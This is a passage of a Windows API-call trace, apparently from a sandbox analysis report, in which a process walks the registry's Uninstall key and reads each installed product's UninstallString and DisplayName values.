lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.192] lstrlenA (lpString="\\") returned 1 [0047.192] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.192] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.192] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.192] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.192] lstrlenA (lpString="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 38 [0047.192] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.192] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.192] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0047.192] LocalFree (hMem=0x721848) returned 0x0 [0047.192] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.192] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x1, lpData=0x0, lpcbData=0xeed94*=0x63) returned 0x0 [0047.192] LocalAlloc (uFlags=0x40, uBytes=0xe4) returned 0x72f5b0 [0047.192] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x72f5b0, lpcbData=0xeed94*=0x63 | out: lpType=0x0, lpData=0x72f5b0*=0x22, lpcbData=0xeed94*=0x63) returned 0x0 [0047.192] RegCloseKey (hKey=0x380) returned 0x0 [0047.192] IStream:Commit (This=0x747360, grfCommitFlags=0x72f5b0) returned 0x0 [0047.192] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.192] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x72f5b0 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3d) returned 0x0 [0047.192] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x73cc70 [0047.192] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x73cc70, lpcbData=0xeed90*=0x3d | out: lpType=0x0, lpData=0x73cc70*=0x4d, lpcbData=0xeed90*=0x3d) returned 0x0 [0047.193] RegCloseKey (hKey=0x380) returned 0x0 [0047.193] lstrlenA (lpString="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 38 [0047.193] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.193] IStream:Commit (This=0x7473d8, grfCommitFlags=0x73cc70) returned 0x0 [0047.193] LocalFree (hMem=0x73cc70) returned 0x0 [0047.193] LocalFree (hMem=0x72f5b0) returned 0x0 [0047.193] LocalFree (hMem=0x745b68) returned 0x0 [0047.193] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x1a, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{4A03706F-666A-4037-7777-5F2748764D10}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.193] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.193] lstrlenA (lpString="\\") returned 1 [0047.193] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.193] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.193] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.193] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.193] lstrlenA (lpString="{4A03706F-666A-4037-7777-5F2748764D10}") returned 38 [0047.193] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.193] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.193] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{4A03706F-666A-4037-7777-5F2748764D10}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}" [0047.193] LocalFree (hMem=0x721848) returned 0x0 [0047.193] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.193] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.193] RegCloseKey (hKey=0x380) returned 0x0 [0047.193] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.193] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.193] RegCloseKey (hKey=0x380) returned 0x0 [0047.193] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.193] LocalFree (hMem=0x745b68) returned 0x0 [0047.193] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x1b, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{582EA838-9199-3518-A05C-DB09462F68EC}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.193] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.193] lstrlenA (lpString="\\") returned 1 [0047.193] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.193] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.193] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.193] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.193] lstrlenA (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}") returned 38 [0047.193] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.193] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.193] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}" [0047.193] LocalFree (hMem=0x721848) returned 0x0 [0047.193] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.194] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x2, lpData=0x0, lpcbData=0xeed94*=0x35) returned 0x0 [0047.194] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x721848 [0047.194] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x721848, lpcbData=0xeed94*=0x35 | out: lpType=0x0, lpData=0x721848*=0x4d, lpcbData=0xeed94*=0x35) returned 0x0 [0047.194] RegCloseKey (hKey=0x380) returned 0x0 [0047.194] IStream:Commit (This=0x747360, grfCommitFlags=0x721848) returned 0x0 [0047.194] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.194] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x721848 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3c) returned 0x0 [0047.194] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x73cc70 [0047.194] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x73cc70, lpcbData=0xeed90*=0x3c | out: lpType=0x0, lpData=0x73cc70*=0x4d, lpcbData=0xeed90*=0x3c) returned 0x0 [0047.194] RegCloseKey (hKey=0x380) returned 0x0 [0047.194] lstrlenA (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}") returned 38 [0047.194] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.194] IStream:Commit (This=0x7473d8, grfCommitFlags=0x73cc70) returned 0x0 [0047.194] LocalFree (hMem=0x73cc70) returned 0x0 [0047.194] LocalFree (hMem=0x721848) returned 0x0 [0047.194] LocalFree (hMem=0x745b68) returned 0x0 [0047.194] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x1c, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{68306422-7C57-373F-8860-D26CE4BA2A15}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.194] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.194] lstrlenA (lpString="\\") returned 1 [0047.194] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.194] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.194] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.194] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.194] lstrlenA (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}") returned 38 [0047.194] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.194] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.194] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}" [0047.194] LocalFree (hMem=0x721848) returned 0x0 [0047.194] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.194] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x2, lpData=0x0, lpcbData=0xeed94*=0x35) returned 0x0 [0047.194] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x721848 [0047.194] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x721848, lpcbData=0xeed94*=0x35 | out: lpType=0x0, lpData=0x721848*=0x4d, lpcbData=0xeed94*=0x35) returned 0x0 [0047.194] RegCloseKey (hKey=0x380) returned 0x0 [0047.194] IStream:Commit (This=0x747360, grfCommitFlags=0x721848) returned 0x0 [0047.194] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.194] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x721848 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3f) returned 0x0 [0047.195] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x73cc70 [0047.195] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x73cc70, lpcbData=0xeed90*=0x3f | out: lpType=0x0, lpData=0x73cc70*=0x4d, lpcbData=0xeed90*=0x3f) returned 0x0 [0047.195] RegCloseKey (hKey=0x380) returned 0x0 [0047.195] lstrlenA (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}") returned 38 [0047.195] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.195] IStream:Commit (This=0x7473d8, grfCommitFlags=0x73cc70) returned 0x0 [0047.195] LocalFree (hMem=0x73cc70) returned 0x0 [0047.195] LocalFree (hMem=0x721848) returned 0x0 [0047.195] LocalFree (hMem=0x745b68) returned 0x0 [0047.195] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x1d, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.195] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.195] lstrlenA (lpString="\\") returned 1 [0047.195] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.195] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.195] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.195] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.195] lstrlenA (lpString="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 38 [0047.195] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.195] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.195] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}" [0047.195] LocalFree (hMem=0x721848) returned 0x0 [0047.195] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.195] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x2, lpData=0x0, lpcbData=0xeed94*=0x35) returned 0x0 [0047.195] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x721848 [0047.195] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x721848, lpcbData=0xeed94*=0x35 | out: lpType=0x0, lpData=0x721848*=0x4d, lpcbData=0xeed94*=0x35) returned 0x0 [0047.195] RegCloseKey (hKey=0x380) returned 0x0 [0047.195] IStream:Commit (This=0x747360, grfCommitFlags=0x721848) returned 0x0 [0047.195] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.195] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x721848 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x2a) returned 0x0 [0047.195] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x73cc70 [0047.195] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x73cc70, lpcbData=0xeed90*=0x2a | out: lpType=0x0, lpData=0x73cc70*=0x4d, lpcbData=0xeed90*=0x2a) returned 0x0 [0047.195] RegCloseKey (hKey=0x380) returned 0x0 [0047.195] lstrlenA (lpString="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 38 [0047.195] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.195] IStream:Commit (This=0x7473d8, grfCommitFlags=0x73cc70) returned 0x0 [0047.195] LocalFree (hMem=0x73cc70) returned 0x0 [0047.195] LocalFree (hMem=0x721848) returned 0x0 [0047.195] LocalFree (hMem=0x745b68) returned 0x0 [0047.195] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x1e, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.195] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.195] lstrlenA (lpString="\\") returned 1 [0047.196] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.196] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.196] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.196] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.196] lstrlenA (lpString="{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 38 [0047.196] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.196] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.196] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{9BE518E6-ECC6-35A9-88E4-87755C07200F}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}" [0047.196] LocalFree (hMem=0x721848) returned 0x0 [0047.196] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.196] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x2, lpData=0x0, lpcbData=0xeed94*=0x35) returned 0x0 [0047.196] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x721848 [0047.196] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x721848, lpcbData=0xeed94*=0x35 | out: lpType=0x0, lpData=0x721848*=0x4d, lpcbData=0xeed94*=0x35) returned 0x0 [0047.196] RegCloseKey (hKey=0x380) returned 0x0 [0047.196] IStream:Commit (This=0x747360, grfCommitFlags=0x721848) returned 0x0 [0047.196] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.196] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x721848 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3f) returned 0x0 [0047.196] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x73cc70 [0047.196] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x73cc70, lpcbData=0xeed90*=0x3f | out: lpType=0x0, lpData=0x73cc70*=0x4d, lpcbData=0xeed90*=0x3f) returned 0x0 [0047.196] RegCloseKey (hKey=0x380) returned 0x0 [0047.196] lstrlenA (lpString="{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 38 [0047.196] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.196] IStream:Commit (This=0x7473d8, grfCommitFlags=0x73cc70) returned 0x0 [0047.196] LocalFree (hMem=0x73cc70) returned 0x0 [0047.196] LocalFree (hMem=0x721848) returned 0x0 [0047.196] LocalFree (hMem=0x745b68) returned 0x0 [0047.196] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x1f, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.196] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.196] lstrlenA (lpString="\\") returned 1 [0047.196] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.196] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.196] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.196] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.196] lstrlenA (lpString="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 38 [0047.196] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.196] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: 